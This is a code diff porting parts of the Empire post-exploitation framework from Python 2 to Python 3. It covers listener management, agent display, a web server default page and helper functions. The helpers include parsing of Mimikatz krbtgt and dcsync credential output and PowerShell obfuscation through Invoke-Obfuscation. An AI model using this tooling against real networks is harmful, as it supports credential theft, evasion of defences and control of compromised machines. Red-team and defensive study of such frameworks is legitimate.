494546 if lines[x].startswith("User : krbtgt"):
495 krbtgtHash = lines[x+2].split(":")[1].strip()
547 krbtgtHash = lines[x + 2].split(":")[1].strip()
496548 break
497549
498550 if krbtgtHash != "":
502554
503555 if len(creds) == 0:
504556 # check if we get lsadump::dcsync output
505 if '** SAM ACCOUNT **' in lines:
557 if b'** SAM ACCOUNT **' in lines:
506558 domain, user, userHash, dcName, sid = "", "", "", "", ""
507559 for line in lines:
508560 try:
570622 conn.isolation_level = None
571623 conn.row_factory = dict_factory
572624 cur = conn.cursor()
573 cur.execute("SELECT options FROM listeners WHERE name = ?", [listenerName] )
625 cur.execute("SELECT options FROM listeners WHERE name = ?", [listenerName])
574626 result = cur.fetchone()
575627 cur.close()
576628 conn.close()
594646 offset = datetime.now() - datetime.utcnow()
595647 return (utc + offset).strftime("%Y-%m-%d %H:%M:%S")
596648
649
597650 def get_file_datetime():
598651 """
599652 Return the current date/time in a format workable for a file name.
606659 Returns a string with the file size and highest rating.
607660 """
608661 byte_size = sys.getsizeof(file)
609 kb_size = byte_size / 1024
662 kb_size = old_div(byte_size, 1024)
610663 if kb_size == 0:
611664 byte_size = "%s Bytes" % (byte_size)
612665 return byte_size
613 mb_size = kb_size / 1024
666 mb_size = old_div(kb_size, 1024)
614667 if mb_size == 0:
615668 kb_size = "%s KB" % (kb_size)
616669 return kb_size
617 gb_size = mb_size / 1024 % (mb_size)
670 gb_size = old_div(mb_size, 1024) % (mb_size)
618671 if gb_size == 0:
619 mb_size = "%s MB" %(mb_size)
672 mb_size = "%s MB" % (mb_size)
620673 return mb_size
621674 return "%s GB" % (gb_size)
622675
625678 """
626679 Return the local IP.
627680 """
628
629681
630682 if os.name != 'nt':
631683 import fcntl
632684 import struct
685
633686 def get_interface_ip(ifname):
634687 try:
635688 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
636689 return socket.inet_ntoa(fcntl.ioctl(
637 s.fileno(),
638 0x8915, # SIOCGIFADDR
639 struct.pack('256s', str(ifname[:15]))
640 )[20:24])
690 s.fileno(),
691 0x8915, # SIOCGIFADDR
692 struct.pack('256s', ifname[:15].encode("UTF-8"))
693 )[20:24])
641694 except IOError as e:
642695 return ""
643696
647700 except socket.gaierror:
648701 pass
649702 except:
650 print "Unexpected error:", sys.exc_info()[0]
703 print("Unexpected error:", sys.exc_info()[0])
651704 return ip
652705
653706 if (ip == '' or ip.startswith('127.')) and os.name != 'nt':
659712 if ip != "":
660713 break
661714 except:
662 print 'Unexpected error:', sys.exc_info()[0]
715 print('Unexpected error:', sys.exc_info()[0])
663716 pass
664717 return ip
665718
678731 attr.append('31')
679732 elif color.lower() == "green":
680733 attr.append('32')
734 elif color.lower() == "yellow":
735 attr.append('33')
681736 elif color.lower() == "blue":
682737 attr.append('34')
683738 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
694749 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
695750 else:
696751 return string
752
753
754 def lastseen(stamp, delay, jitter):
755 """
756 Colorize the Last Seen field based on measured delays
757 """
758 try:
759 delta = datetime.now() - datetime.strptime(stamp, "%Y-%m-%d %H:%M:%S")
760 if delta.seconds > delay * (jitter + 1) * 5:
761 return color(stamp, "red")
762 elif delta.seconds > delay * (jitter + 1):
763 return color(stamp, "yellow")
764 else:
765 return color(stamp, "green")
766 except Exception:
767 return stamp
697768
698769
699770 def unique(seq, idfun=None):
724795 cred format- (credType, domain, username, password, hostname, sid)
725796 """
726797 seen = set()
727 return [item for item in tuples if "%s%s%s%s"%(item[0],item[1],item[2],item[3]) not in seen and not seen.add("%s%s%s%s"%(item[0],item[1],item[2],item[3]))]
798 return [item for item in tuples if "%s%s%s%s" % (item[0], item[1], item[2], item[3]) not in seen and not seen.add(
799 "%s%s%s%s" % (item[0], item[1], item[2], item[3]))]
728800
729801
730802 def decode_base64(data):
734806 """
735807 missing_padding = 4 - len(data) % 4
736808 if missing_padding:
737 data += b'='* missing_padding
809 data += b'=' * missing_padding
738810
739811 try:
740812 result = base64.decodestring(data)
778850 completions = []
779851 for f in os.listdir(dir):
780852 if f.startswith(base):
781 if os.path.isfile(os.path.join(dir,f)):
853 if os.path.isfile(os.path.join(dir, f)):
782854 completions.append(f)
783855 else:
784 completions.append(f+'/')
856 completions.append(f + '/')
785857
786858 return completions
787859
797869 d[col[0]] = row[idx]
798870 return d
799871
872
800873 def get_module_source_files():
801874 """
802875 Get the filepaths of PowerShell module_source files located
806879 pattern = '*.ps1'
807880 for root, dirs, files in os.walk('data/module_source'):
808881 for filename in fnmatch.filter(files, pattern):
809 paths.append(os.path.join(root, filename))
882 paths.append(os.path.join(root, filename))
810883 return paths
811884
885
812886 def obfuscate(installPath, psScript, obfuscationCommand):
813887 """
814888 Obfuscate PowerShell scripts using Invoke-Obfuscation
815889 """
816890 if not is_powershell_installed():
817 print color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
891 print(color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
818892 return ""
819893 # When obfuscating large scripts, command line length is too long. Need to save to temp file
820894 toObfuscateFilename = installPath + "data/misc/ToObfuscate.ps1"
823897 toObfuscateFile.write(psScript)
824898 toObfuscateFile.close()
825899 # Obfuscate using Invoke-Obfuscation w/ PowerShell
826 subprocess.call("%s -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (get_powershell_name(), toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
827 obfuscatedFile = open(obfuscatedFilename , 'r')
900 subprocess.call(
901 "%s -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (
902 get_powershell_name(), toObfuscateFilename, convert_obfuscation_command(obfuscationCommand),
903 obfuscatedFilename), shell=True)
904 obfuscatedFile = open(obfuscatedFilename, 'r')
828905 # Obfuscation writes a newline character to the end of the file, ignoring that character
829906 psScript = obfuscatedFile.read()[0:-1]
830907 obfuscatedFile.close()
831908
832909 return psScript
833910
911
834912 def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=False):
835913 if is_obfuscated(moduleSource) and not forceReobfuscation:
836914 return
838916 try:
839917 f = open(moduleSource, 'r')
840918 except:
841 print color("[!] Could not read module source path at: " + moduleSource)
919 print(color("[!] Could not read module source path at: " + moduleSource))
842920 return ""
843921
844922 moduleCode = f.read()
851929 try:
852930 f = open(obfuscatedSource, 'w')
853931 except:
854 print color("[!] Could not read obfuscated module source path at: " + obfuscatedSource)
932 print(color("[!] Could not read obfuscated module source path at: " + obfuscatedSource))
855933 return ""
856934 f.write(obfuscatedCode)
857935 f.close()
858936
937
859938 def is_obfuscated(moduleSource):
860939 obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source")
861940 return os.path.isfile(obfuscatedSource)
862941
942
863943 def is_powershell_installed():
864944 return (get_powershell_name() != "")
945
865946
866947 def get_powershell_name():
867948 try:
874955 return "pwsh"
875956 return "powershell"
876957
958
877959 def convert_obfuscation_command(obfuscate_command):
878 return "".join(obfuscate_command.split()).replace(",",",home,").replace("\\",",")
960 return "".join(obfuscate_command.split()).replace(",", ",home,").replace("\\", ",")
961
879962
880963 class KThread(threading.Thread):
881964 """
890973 def start(self):
891974 """Start the thread."""
892975 self.__run_backup = self.run
893 self.run = self.__run # Force the Thread toinstall our trace.
976 self.run = self.__run # Force the Thread toinstall our trace.
894977 threading.Thread.start(self)
895978
896979 def __run(self):
914997 def kill(self):
915998 self.killed = True
916999
1000
9171001 def slackMessage(slackToken, slackChannel, slackText):
918 url = "https://slack.com/api/chat.postMessage"
919 data = urllib.urlencode({'token': slackToken, 'channel':slackChannel, 'text':slackText})
920 req = urllib2.Request(url, data)
921 resp = urllib2.urlopen(req)
1002 url = "https://slack.com/api/chat.postMessage"
1003 data = urllib.parse.urlencode({'token': slackToken, 'channel': slackChannel, 'text': slackText})
1004 req = urllib.request.Request(url, data)
1005 resp = urllib.request.urlopen(req)
+24
-19
lib/common/http.py less more
88 These are the first places URI requests are processed.
99
1010 """
11
12 from BaseHTTPServer import BaseHTTPRequestHandler
13 import BaseHTTPServer, threading, ssl, os, string, random
11 from __future__ import absolute_import
12
13 from future import standard_library
14 standard_library.install_aliases()
15 from http.server import BaseHTTPRequestHandler
16 import http.server, threading, ssl, os, string, random
1417 from pydispatch import dispatcher
1518 import re
1619 import json
1720
1821 # Empire imports
19 import encryption
20 import helpers
21
22
23 #TODO: place this in a config
24 def default_page():
25 """
26 Returns the default page for this server.
27 """
28 page = "<html><body><h1>It works!</h1>"
29 page += "<p>This is the default web page for this server.</p>"
30 page += "<p>The web server software is running but no content has been added, yet.</p>"
31 page += "</body></html>"
32 return page
22 from . import encryption
23 from . import helpers
24
25
26 def default_page(path_to_html_file="empty"):
27 if path_to_html_file == "empty":
28 """
29 Returns the default page for this server.
30 """
31 page = "<html><body><h1>It works!</h1>"
32 page += "<p>This is the default web page for this server.</p>"
33 page += "<p>The web server software is running but no content has been added, yet.</p>"
34 page += "</body></html>"
35 return page
36 else:
37 html = open(path_to_html_file, 'r').read()
38 return html
3339
3440 ###############################################################
3541 #
181187 threading.Thread.__init__(self)
182188 self.server = None
183189
184 self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
190 self.server = http.server.HTTPServer((lhost, int(port)), RequestHandler)
185191
186192 # pass the agent handler object along for the RequestHandler
187193 self.server.agents = handler
241247 thread._Thread__stop()
242248 except:
243249 pass
244
+62
-41
lib/common/listeners.py less more
33 Listener handling functionality for Empire.
44
55 """
6 from __future__ import print_function
7 from __future__ import absolute_import
8 from builtins import filter
9 from builtins import str
10 from builtins import object
611 import sys
712 import fnmatch
813 import imp
9 import helpers
14 from . import helpers
1015 import os
1116 import pickle
1217 import hashlib
1520
1621 from pydispatch import dispatcher
1722
18 class Listeners:
23 class Listeners(object):
1924 """
2025 Listener handling class.
2126 """
4550
4651 rootPath = "%s/lib/listeners/" % (self.mainMenu.installPath)
4752 pattern = '*.py'
48 print helpers.color("[*] Loading listeners from: %s" % (rootPath))
53 print(helpers.color("[*] Loading listeners from: %s" % (rootPath)))
4954
5055 for root, dirs, files in os.walk(rootPath):
5156 for filename in fnmatch.filter(files, pattern):
7277 # if listenerOption == option:
7378 # listener.options[option]['Value'] = str(value)
7479
75 for name, listenerObject in self.loadedListeners.iteritems():
80 for name, listenerObject in self.loadedListeners.items():
7681
7782 if (listenerName.lower() == 'all' or listenerName == name) and (option in listenerObject.options):
7883
101106 protocol = 'http'
102107 defaultPort = 80
103108
109
110 ##################################################################################################################################
111 # Added functionality to Port
112 # Unsure if this section is needed
104113 if len(parts) != 1 and parts[-1].isdigit():
105114 # if a port is specified with http://host:port
106115 listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
114123 listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
115124 if listenerObject.options['Port']['Value'] == '':
116125 listenerObject.options['Port']['Value'] = defaultPort
117
126 ###################################################################################################################################
118127 return True
119128
120129 elif option == 'CertPath':
127136
128137 if option == 'Port':
129138 listenerObject.options[option]['Value'] = value
139 # Check if Port is set and add it to host
140 parts = listenerObject.options['Host']['Value']
141 if parts.startswith('http'):
142 address = parts[7:]
143 address = ''.join(address.split(':')[0])
144 protocol = "http"
145 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, address, listenerObject.options['Port']['Value'])
146 elif parts.startswith('https'):
147 address = parts[8:]
148 address = ''.join(address.split(':')[0])
149 protocol = "https"
150 listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, address, listenerObject.options['Port']['Value'])
130151 return True
131152
132153 elif option == 'StagingKey':
134155 value = str(value).strip()
135156 if len(value) != 32:
136157 stagingKeyHash = hashlib.md5(value).hexdigest()
137 print helpers.color('[!] Warning: staging key not 32 characters, using hash of staging key instead: %s' % (stagingKeyHash))
158 print(helpers.color('[!] Warning: staging key not 32 characters, using hash of staging key instead: %s' % (stagingKeyHash)))
138159 listenerObject.options[option]['Value'] = stagingKeyHash
139160 else:
140161 listenerObject.options[option]['Value'] = str(value)
167188 # print helpers.color("[!] Error opening profile file %s" % (parts[1]))
168189
169190 else:
170 print helpers.color('[!] Error: invalid option name')
191 print(helpers.color('[!] Error: invalid option name'))
171192 return False
172193
173194
185206 return
186207
187208 i = 1
188 while name in self.activeListeners.keys():
209 while name in list(self.activeListeners.keys()):
189210 name = "%s%s" % (nameBase, i)
190211
191212 listenerObject.options['Name']['Value'] = name
192213
193214 try:
194 print helpers.color("[*] Starting listener '%s'" % (name))
215 print(helpers.color("[*] Starting listener '%s'" % (name)))
195216 success = listenerObject.start(name=name)
196217
197218 if success:
211232 })
212233 dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, name))
213234 else:
214 print helpers.color('[!] Listener failed to start!')
235 print(helpers.color('[!] Listener failed to start!'))
215236
216237 except Exception as e:
217238 if name in self.activeListeners:
218239 del self.activeListeners[name]
219 print helpers.color("[!] Error starting listener: %s" % (e))
240 print(helpers.color("[!] Error starting listener: %s" % (e)))
220241
221242
222243 def start_existing_listeners(self):
237258
238259
239260 i = 1
240 while listenerName in self.activeListeners.keys():
261 while listenerName in list(self.activeListeners.keys()):
241262 listenerName = "%s%s" % (nameBase, i)
242263
243264 # unpickle all the listener options
246267 try:
247268 listenerModule = self.loadedListeners[moduleName]
248269
249 for option, value in options.iteritems():
270 for option, value in options.items():
250271 listenerModule.options[option] = value
251272
252 print helpers.color("[*] Starting listener '%s'" % (listenerName))
273 print(helpers.color("[*] Starting listener '%s'" % (listenerName)))
253274 if moduleName == 'redirector':
254275 success = True
255276 else:
267288 })
268289 dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, listenerName))
269290 else:
270 print helpers.color('[!] Listener failed to start!')
291 print(helpers.color('[!] Listener failed to start!'))
271292
272293 except Exception as e:
273294 if listenerName in self.activeListeners:
274295 del self.activeListeners[listenerName]
275 print helpers.color("[!] Error starting listener: %s" % (e))
296 print(helpers.color("[!] Error starting listener: %s" % (e)))
276297
277298 self.conn.row_factory = oldFactory
278299
279300 def enable_listener(self, listenerName):
280301 "Starts an existing listener and sets it to enabled"
281 if listenerName in self.activeListeners.keys():
282 print helpers.color("[!] Listener already running!")
302 if listenerName in list(self.activeListeners.keys()):
303 print(helpers.color("[!] Listener already running!"))
283304 return False
284305
285306 oldFactory = self.conn.row_factory
288309 cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners WHERE name=?", [listenerName])
289310 result = cur.fetchone()
290311 if not result:
291 print helpers.color("[!] Listener %s doesn't exist!" % listenerName)
312 print(helpers.color("[!] Listener %s doesn't exist!" % listenerName))
292313 return False
293314 moduleName = result['module']
294315 options = pickle.loads(result['options'])
295316 try:
296317 listenerModule = self.loadedListeners[moduleName]
297318
298 for option, value in options.iteritems():
319 for option, value in options.items():
299320 listenerModule.options[option] = value
300321
301 print helpers.color("[*] Starting listener '%s'" % (listenerName))
322 print(helpers.color("[*] Starting listener '%s'" % (listenerName)))
302323 if moduleName == 'redirector':
303324 success = True
304325 else:
305326 success = listenerModule.start(name=listenerName)
306327
307328 if success:
308 print helpers.color('[+] Listener successfully started!')
329 print(helpers.color('[+] Listener successfully started!'))
309330 listenerOptions = copy.deepcopy(listenerModule.options)
310331 self.activeListeners[listenerName] = {'moduleName': moduleName, 'options': listenerOptions}
311332 cur.execute("UPDATE listeners SET enabled=? WHERE name=? AND NOT module=?", [True, listenerName, 'redirector'])
312333 else:
313 print helpers.color('[!] Listener failed to start!')
334 print(helpers.color('[!] Listener failed to start!'))
314335 except Exception as e:
315336 traceback.print_exc()
316337 if listenerName in self.activeListeners:
317338 del self.activeListeners[listenerName]
318 print helpers.color("[!] Error starting listener: %s" % (e))
339 print(helpers.color("[!] Error starting listener: %s" % (e)))
319340
320341 cur.close()
321342 self.conn.row_factory = oldFactory
330351 """
331352
332353 if listenerName.lower() == 'all':
333 listenerNames = self.activeListeners.keys()
354 listenerNames = list(self.activeListeners.keys())
334355 else:
335356 listenerNames = [listenerName]
336357
337358 for listenerName in listenerNames:
338359 if listenerName not in self.activeListeners:
339 print helpers.color("[!] Listener '%s' not active!" % (listenerName))
360 print(helpers.color("[!] Listener '%s' not active!" % (listenerName)))
340361 return False
341362
342363 # shut down the listener and remove it from the cache
367388 self.conn.row_factory = helpers.dict_factory
368389 cur = self.conn.cursor()
369390 cur.execute("SELECT name FROM listeners")
370 db_names = map(lambda x: x['name'], cur.fetchall())
391 db_names = [x['name'] for x in cur.fetchall()]
371392 if listener_name.lower() == "all":
372393 names = db_names
373394 else:
375396
376397 for name in names:
377398 if not name in db_names:
378 print helpers.color("[!] Listener '%s' does not exist!" % name)
399 print(helpers.color("[!] Listener '%s' does not exist!" % name))
379400 return False
380401
381 if name in self.activeListeners.keys():
402 if name in list(self.activeListeners.keys()):
382403 self.shutdown_listener(name)
383404 cur.execute("DELETE FROM listeners WHERE name=?", [name])
384405
385 except Exception, e:
386 print helpers.color("[!] Error deleting listener '%s'" % name)
406 except Exception as e:
407 print(helpers.color("[!] Error deleting listener '%s'" % name))
387408
388409 cur.close()
389410 self.conn.row_factory = old_factory
395416 """
396417
397418 if listenerName.lower() == 'all':
398 listenerNames = self.activeListeners.keys()
419 listenerNames = list(self.activeListeners.keys())
399420 else:
400421 listenerNames = [listenerName]
401422
402423 for listenerName in listenerNames:
403424 if listenerName not in self.activeListeners:
404 print helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName))
425 print(helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName)))
405426 return False
406427
407428 # retrieve the listener module for this listener name
409430 activeListenerModule = self.loadedListeners[activeListenerModuleName]
410431
411432 if activeListenerModuleName == 'redirector':
412 print helpers.color("[!] skipping redirector listener %s. Start/Stop actions can only initiated by the user." % (listenerName))
433 print(helpers.color("[!] skipping redirector listener %s. Start/Stop actions can only initiated by the user." % (listenerName)))
413434 continue
414435
415436 # signal the listener module to shut down the thread for this particular listener instance
421442 def disable_listener(self, listenerName):
422443 "Wrapper for shutdown_listener(), also marks listener as 'disabled' so it won't autostart"
423444
445 activeListenerModuleName = self.activeListeners[listenerName]['moduleName']
424446 cur = self.conn.cursor()
425447 if listenerName.lower() == "all":
426448 cur.execute("UPDATE listeners SET enabled=? WHERE NOT module=?", [False, "redirector"])
429451 cur.close()
430452 self.shutdown_listener(listenerName)
431453 # dispatch this event
432 activeListenerModuleName = self.activeListeners[listenerName]['module']
433454 message = "[*] Listener {} killed".format(listenerName)
434455 signal = json.dumps({
435456 'print': True,
508529 """
509530 Return all current listener names.
510531 """
511 return self.activeListeners.keys()
532 return list(self.activeListeners.keys())
512533
513534 def get_inactive_listeners(self):
514535 """
523544 db_listeners = cur.fetchall()
524545
525546 inactive_listeners = {}
526 for listener in filter((lambda x: x['name'] not in self.activeListeners.keys()), db_listeners):
547 for listener in filter((lambda x: x['name'] not in list(self.activeListeners.keys())), db_listeners):
527548 inactive_listeners[listener['name']] = {'moduleName': listener['module'],
528549 'options': pickle.loads(listener['options'])}
529550
540561 cur.execute('SELECT id,options FROM listeners WHERE name=?', [listener_name])
541562 listener_id, result = cur.fetchone()
542563 options = pickle.loads(result)
543 if not option_name in options.keys():
544 print helpers.color("[!] Listener %s does not have the option %s" % (listener_name, option_name))
564 if not option_name in list(options.keys()):
565 print(helpers.color("[!] Listener %s does not have the option %s" % (listener_name, option_name)))
545566 return
546567 options[option_name]['Value'] = option_value
547568 pickled_options = pickle.dumps(options)
548569 cur.execute('UPDATE listeners SET options=? WHERE id=?', [pickled_options, listener_id])
549570 except ValueError:
550 print helpers.color("[!] Listener %s not found" % listenerName)
551 cur.close()
571 print(helpers.color("[!] Listener %s not found" % listenerName))
572 cur.close()
+149
-131
lib/common/messages.py less more
44 Titles, agent displays, listener displays, etc.
55
66 """
7
7 from __future__ import print_function
8 from __future__ import absolute_import
9
10 from builtins import str
11 from builtins import range
812 import os
913 import time
1014 import textwrap
1115
1216 # Empire imports
13 import helpers
17 from . import helpers
1418
1519
1620 ###############################################################
2327 """
2428 Print the tool title, with version.
2529 """
26 os.system('clear')
27 print "================================================================"
28 # print ' [Empire] PowerShell/Python post-exploitation framework'
29 print " [Empire] Post-Exploitation Framework"
30 print '================================================================'
31 print " [Version] %s | [Web] https://github.com/empireProject/Empire" % (version)
32 print '================================================================'
33 print """
30 #os.system('clear')
31 print("================================================================================")
32 print(" [Empire] Post-Exploitation Framework")
33 print('================================================================================')
34 print(" [Version] %s | [Web] https://github.com/BC-SECURITY/Empire" % (version))
35 print('================================================================================')
36 print("""
3437 _______ .___ ___. .______ __ .______ _______
3538 | ____|| \/ | | _ \ | | | _ \ | ____|
3639 | |__ | \ / | | |_) | | | | |_) | | |__
3841 | |____ | | | | | | | | | |\ \----.| |____
3942 |_______||__| |__| | _| |__| | _| `._____||_______|
4043
41 """
44 """)
4245
4346 def loading():
4447 """
4548 Print and ascii loading screen.
4649 """
4750
48 print """
51 print("""
4952 `````````
5053 ``````.--::///+
5154 ````-+sydmmmNNNNNNN
8487 `-/osyhdddddhyo:
8588 ``.----.`
8689
87 Welcome to the Empire"""
90 Welcome to the Empire""")
8891 time.sleep(3)
8992 os.system('clear')
9093
133136
134137 limit = max(len(lines1), len(lines2))
135138
136 for x in xrange(limit):
139 for x in range(limit):
137140
138141 if x < len(lines1):
139142 if x != 0:
160163 """
161164 for key in options:
162165 if color:
163 print "\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "green"), wrap_string(options[key]))
166 print("\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "green"), wrap_string(options[key])))
164167 else:
165 print "\t%s\t%s" % ('{0: <16}'.format(key), wrap_string(options[key]))
168 print("\t%s\t%s" % ('{0: <16}'.format(key), wrap_string(options[key])))
166169
167170
168171 def display_agents(agents):
170173 Take a dictionary of agents and build the display for the main menu.
171174 """
172175
176 rowToggle = 0
177
173178 if len(agents) > 0:
174179
175 print ''
176 print helpers.color("[*] Active agents:\n")
177 print " Name Lang Internal IP Machine Name Username Process Delay Last Seen"
178 print " --------- ---- ----------- ------------ --------- ------- ----- --------------------"
180 print('')
181 print(helpers.color("[*] Active agents:\n"))
182 print(" Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener")
183 print(" ---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------")
179184
180185 for agent in agents:
181186
191196 else:
192197 agent['language'] = 'X'
193198
194 print " %.16s%.6s%.16s%.16s%.20s%.20s%.9s%.20s" % ('{0: <16}'.format(agent['name']), '{0: <6}'.format(agent['language']), '{0: <16}'.format(agent['internal_ip']), '{0: <16}'.format(agent['hostname']), '{0: <20}'.format(agent['username']), '{0: <20}'.format(str(agent['process_name']) + "/" + str(agent['process_id'])), '{0: <9}'.format(str(agent['delay']) + "/" +str(agent['jitter'])), agent['lastseen_time'])
195
196 print ''
197 else:
198 print helpers.color('[!] No agents currently registered')
199 print(" %.8s %.2s %.15s %.17s %.23s %.18s %.6s %.8s %.31s %.16s" % ('{0: <8}'.format(agent['name']),
200 '{0: <2}'.format(agent['language']),
201 '{0: <15}'.format(str(agent['internal_ip']).split(" ")[0]),
202 '{0: <17}'.format(agent['hostname']),
203 '{0: <23}'.format(agent['username']),
204 '{0: <18}'.format(agent['process_name']),
205 '{0: <6}'.format(str(agent['process_id'])),
206 '{0: <8}'.format(str(agent['delay']) + "/" +str(agent['jitter'])),
207 '{0: <31}'.format(str(helpers.lastseen(agent['lastseen_time'], agent['delay'], agent['jitter']))),
208 '{0: <16}'.format(str(agent['listener']))))
209
210 # Skip rows for better readability
211 rowToggle = (rowToggle + 1) % 3
212 if rowToggle == 0:
213 print()
214 print('')
215 else:
216 print(helpers.color('[!] No agents currently registered'))
199217
200218
201219 def display_agent(agent, returnAsString=False):
207225
208226 if returnAsString:
209227 agentString = "\n[*] Agent info:\n"
210 for key, value in agent.iteritems():
228 for key, value in agent.items():
211229 if key != 'functions' and key != 'takings' and key != 'results':
212230 agentString += " %s\t%s\n" % ('{0: <16}'.format(key), wrap_string(value, width=70))
213231 return agentString + '\n'
214232 else:
215 print helpers.color("\n[*] Agent info:\n")
216 for key, value in agent.iteritems():
233 print(helpers.color("\n[*] Agent info:\n"))
234 for key, value in agent.items():
217235 if key != 'functions' and key != 'takings' and key != 'results':
218 print "\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "blue"), wrap_string(value, width=70))
219 print ''
236 print("\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "blue"), wrap_string(value, width=70)))
237 print('')
220238
221239
222240 def display_listeners(listeners, type = "Active"):
225243 """
226244
227245 if len(listeners) > 0:
228 print ''
229 print helpers.color("[*] %s listeners:\n" % type)
230
231 print " Name Module Host Delay/Jitter KillDate"
232 print " ---- ------ ---- ------------ --------"
233
234 for listenerName, listener in listeners.iteritems():
246 print('')
247 print(helpers.color("[*] %s listeners:\n" % type))
248
249 print(" Name Module Host Delay/Jitter KillDate")
250 print(" ---- ------ ---- ------------ --------")
251
252 for listenerName, listener in listeners.items():
235253
236254 moduleName = listener['moduleName']
237255 if 'Host' in listener['options']:
259277 else:
260278 killDate = 'n/a'
261279
262 print " %s%s%s%s%s" % ('{0: <18}'.format(listenerName), '{0: <16}'.format(moduleName), '{0: <37}'.format(host), '{0: <15}'.format(connectInterval), '{0: <12}'.format(killDate))
263
264 print ''
280 print(" %s%s%s%s%s" % ('{0: <18}'.format(listenerName), '{0: <16}'.format(moduleName), '{0: <37}'.format(host), '{0: <15}'.format(connectInterval), '{0: <12}'.format(killDate)))
281
282 print('')
265283
266284 else:
267285 if(type.lower() != "inactive"):
268 print helpers.color("[!] No listeners currently %s " % type.lower())
286 print(helpers.color("[!] No listeners currently %s " % type.lower()))
269287
270288
271289 def display_active_listener(listener):
273291 Displays an active listener's information structure.
274292 """
275293
276 print "\n%s Options:\n" % (listener['options']['Name']['Value'])
277 print " Name Required Value Description"
278 print " ---- -------- ------- -----------"
279
280 for option, values in listener['options'].iteritems():
294 print("\n%s Options:\n" % (listener['options']['Name']['Value']))
295 print(" Name Required Value Description")
296 print(" ---- -------- ------- -----------")
297
298 for option, values in listener['options'].items():
281299 # if there's a long value length, wrap it
282300 if len(str(values['Value'])) > 33:
283 print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description'])))
301 print(" %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description']))))
284302 else:
285 print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
286
287 print "\n"
303 print(" %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description']))
304
305 print("\n")
288306
289307
290308 def display_listener_module(listener):
292310 Displays a listener module's information structure.
293311 """
294312
295 print '\n{0: >10}'.format("Name: ") + str(listener.info['Name'])
296 print '{0: >10}'.format("Category: ") + str(listener.info['Category'])
297
298 print "\nAuthors:"
313 print('\n{0: >10}'.format("Name: ") + str(listener.info['Name']))
314 print('{0: >10}'.format("Category: ") + str(listener.info['Category']))
315
316 print("\nAuthors:")
299317 for author in listener.info['Author']:
300 print " " +author
301
302 print "\nDescription:"
318 print(" " +author)
319
320 print("\nDescription:")
303321 desc = wrap_string(listener.info['Description'], width=60, indent=2, indentAll=True)
304322 if len(desc.splitlines()) == 1:
305 print " " + str(desc)
306 else:
307 print desc
323 print(" " + str(desc))
324 else:
325 print(desc)
308326
309327 if 'Comments' in listener.info:
310328 comments = listener.info['Comments']
311329 if isinstance(comments, list):
312330 comments = ' '.join(comments)
313331 if comments.strip() != '':
314 print "\nComments:"
332 print("\nComments:")
315333 if isinstance(comments, list):
316334 comments = ' '.join(comments)
317335 comment = wrap_string(comments, width=60, indent=2, indentAll=True)
318336 if len(comment.splitlines()) == 1:
319 print " " + str(comment)
320 else:
321 print comment
322
323
324 print "\n%s Options:\n" % (listener.info['Name'])
325 print " Name Required Value Description"
326 print " ---- -------- ------- -----------"
327
328 for option, values in listener.options.iteritems():
337 print(" " + str(comment))
338 else:
339 print(comment)
340
341
342 print("\n%s Options:\n" % (listener.info['Name']))
343 print(" Name Required Value Description")
344 print(" ---- -------- ------- -----------")
345
346 for option, values in listener.options.items():
329347 # if there's a long value length, wrap it
330348 if len(str(values['Value'])) > 33:
331 print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description'])))
349 print(" %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description']))))
332350 else:
333 print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
334
335 print "\n"
351 print(" %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description']))
352
353 print("\n")
336354
337355
338356 def display_stager(stager):
340358 Displays a stager's information structure.
341359 """
342360
343 print "\nName: " + stager.info['Name']
344
345 print "\nDescription:"
361 print("\nName: " + stager.info['Name'])
362
363 print("\nDescription:")
346364 desc = wrap_string(stager.info['Description'], width=50, indent=2, indentAll=True)
